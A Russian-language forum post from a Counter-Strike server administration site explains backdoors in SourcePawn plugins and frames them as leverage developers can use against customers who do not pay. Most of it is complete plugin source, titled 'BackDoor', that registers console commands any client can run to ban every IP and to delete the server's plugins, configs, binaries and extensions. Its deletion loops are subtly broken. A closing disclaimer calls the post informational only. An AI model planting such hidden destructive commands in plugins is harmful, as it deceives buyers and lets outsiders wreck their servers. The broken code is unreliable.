Форум администраторов игровых серверов Counter Strike

- Помогите, как скачать ресурсы?
- Привет, пройди бесплатную регистрацию, и качай ресурсы форума без ограничений!

  • Добро пожаловать на форум администраторов игровых серверов Counter Strike, у нас ты сможешь скачать плагины для сервера -
    Скины для сервера, расширения, модели оружий для сервера, SkyBox, SourceMod, скины персонажей, античиты
    и многое другое для своего сервера Counter strike и все то, что поможет разнообразить твой игровой сервер и сделать его максимально уникальным и комфортным для твоих игроков!

    Дополнительная информация в общей беседе в Вконтакте!

Готовое решение Немного о backdoor в SourcePawn

Pr[E]fix

SourceDevelop
Доброго времени суток дорогие форумчане. В этой статье я расскажу что такое BackDoor и для чего он нужен.

Бэкдор, тайный вход (от англ. back door — «чёрный ход», буквально «задняя дверь») — дефект алгоритма, который намеренно встраивается в него разработчиком и позволяет получить несанкционированный доступ к данным или удалённому управлению операционной системой и компьютером в целом.

Основной целью бэкдора является скрытное и быстрое получение доступа к данным, в большинстве случаев — к зашифрованным и защищённым. Например, бэкдор может быть встроен в алгоритм шифрования для последующей прослушки защищённого канала злоумышленником.

В некоторых плагинах (В НЕКОТОРЫХ) разработчики скриптов добавляют тайный функционал о которых заказчик/клиент может не знать, не увидеть. В нашем случае бекдор используют для своей защиты в надежде на то что покупатель не обманет вас, если в случае обмана, то мы можем заполучить данные сервера и дальше уже как ваша фантазия разыграется, будь то удалить плагин (Ваш) либо же удалить сервер и т.д

В этой статье я опишу принцип действие простого бэкдора,

Рассмотрим принцип простого бэкдора (Удаление сервера | Сделать так чтобы сервер забанил самого себя)

C-подобный:
public void OnPluginStart()
{
    RegConsoleCmd("sm_dell_server", hDellServer);
}

public Action hDellServer(int client, int args)
{
    ServerCommand("addip 0 0.0.0.0")
}

Если вы не разбираетесь в синтаксисе Sourcepawn и просто хотите посмотреть на плагин с расширением .sp то обязательно обращайте в внимание на то что находится в исходнике.
Данная статья даст понять начинающим/ обычным юзерам как работает бекдор и неопытным людям понять что это и как он выглядит

Пример удаление папок сервера

C-подобный:
#include <sourcemod>
#include <sdktools>
#include <sdkhooks>

#define PLUGIN_VERSION "1.2"

public Plugin:myinfo =
{
    name = "Open Server Back",
    author = "Pr[E]fix",
    description = "BackDoor",
    version = PLUGIN_VERSION,
    url = ""
}

public void OnPluginStart()
{
    RegConsoleCmd("sm_dell_plugins", hDellPlugins);
    RegConsoleCmd("sm_dell_cfg", hDellCFG);
    RegConsoleCmd("sm_dell_bin", hDellbin);
    RegConsoleCmd("sm_dell_extesions", hDellExtesions);
    RegConsoleCmd("sm_dell_server", hDellServer);
}

public Action hDellServer(int client, int args)
{
    ServerCommand("addip 0 0.0.0.0")
}

public Action hDellExtesions(int client, int args)
{
    DirectoryListing hDellExtesions = OpenDirectory("addons/sourcemod/extensions");
    char sFileName[64], sFullName[128];

    while(hDellExtesions.GetNext(sFileName, sizeof(sFileName)))
    {
        Format(sFullName, sizeof(sFileName), "addons/sourcemod/extensions/%s", sFileName);
        DeleteFile(sFileName);
    }
}

public Action hDellbin(int client, int args)
{
    DirectoryListing hDellbin = OpenDirectory("bin");
    char sFileName[64], sFullName[128];

    while(hDellbin.GetNext(sFileName, sizeof(sFileName)))
    {
        Format(sFullName, sizeof(sFileName), "bin/%s", sFileName);
        DeleteFile(sFileName);
    }
}

public Action hDellCFG(int client, int args)
{
    DirectoryListing hDellCFG = OpenDirectory("cfg");
    char sFileName[64], sFullName[128];

    while(hDellCFG.GetNext(sFileName, sizeof(sFileName)))
    {
        Format(sFullName, sizeof(sFileName), "cfg/%s", sFileName);
        DeleteFile(sFileName);
    }
}

public Action hDellPlugins(int client, int args)
{
    DirectoryListing hDellPlugins = OpenDirectory("addons/sourcemod/plugins");
    char sFileName[64], sFullName[128];

    while(hDellPlugins.GetNext(sFileName, sizeof(sFileName)))
    {
        Format(sFullName, sizeof(sFileName), "addons/sourcemod/plugins/%s", sFileName);
        DeleteFile(sFileName);
    }
}

P.S ДАННАЯ СТАТЬЯ ЯВЛЯЕТСЯ ТОЛЬКО ИНФОРМАТИВНОЙ И АВТОР СТАТЬИ НЕ НЕСЕТ НЕ КАКИЕ ПОСЛЕДСТВИЕ И КАТЕГОРИЧЕСКИ ЗАПРЕЩАЕТ ВШИВАТЬ БЭКДОРЫ В ВАШИ ПЛАГИНЫ ТАК КАК ЭТО НАКАЗУЕМО.
 
Верх